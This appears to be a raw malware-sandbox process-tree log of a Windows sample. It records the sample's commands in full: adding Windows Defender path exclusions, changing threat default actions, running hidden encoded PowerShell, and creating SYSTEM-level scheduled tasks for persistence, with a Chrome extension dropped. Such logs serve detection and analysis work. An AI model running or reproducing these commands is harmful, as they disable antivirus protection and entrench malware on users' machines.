                                                                                                                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                          2⤵
                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                          PID:4012
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:4468
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:316
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:2212
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:6136
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:4456
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:1136
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:3076
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:3780
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:2864
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:4416
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5356
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:1500
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:5732
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:3772
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:640
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:2240
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:1492
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:440
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:3632
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:5688
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:5948
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "goIAmxQkt" /SC once /ST 10:56:39 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:3532
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /run /I /tn "goIAmxQkt"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:3680
                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:5484
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /DELETE /F /TN "goIAmxQkt"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:5648
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                          schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 09:02:49 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\XtaeKYf.exe\" GH /SQHgdidrc 385118 /S" /V1 /F
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                          PID:5500
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                          schtasks /run /I /tn "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:5092
                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                          PID:1076
                                                                                                                                                                                                                          • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:2132
                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:5940
                                                                                                                                                                                                                            • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                              gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:5304
                                                                                                                                                                                                                              • C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\XtaeKYf.exe
                                                                                                                                                                                                                                C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\XtaeKYf.exe GH /SQHgdidrc 385118 /S
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                • Drops Chrome extension
                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                PID:1052
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:664
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:4084
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:1556
                                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                PID:3528
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:5488
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:4972
                                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                      PID:4200
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:5892
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:5508
                                                                                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                            PID:216
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:1248
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:4592
                                                                                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                  PID:1356
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:5028
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:5936
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                      PID:5716
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                          PID:1016
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                  schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:5092
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:5380
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:2500
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:3528
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                PID:2820
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                  PID:4760
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                          schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\Oyazle.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                          PID:3008
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                          schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\QMkQnNm.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                          PID:1076
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                          schtasks /END /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1836
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:1248
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\jFNvjsU.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                              PID:1164
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\oHXFXdd.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                              PID:988
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\ohtmKtN.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                              PID:4860
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\Mbvooae.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                              PID:2188
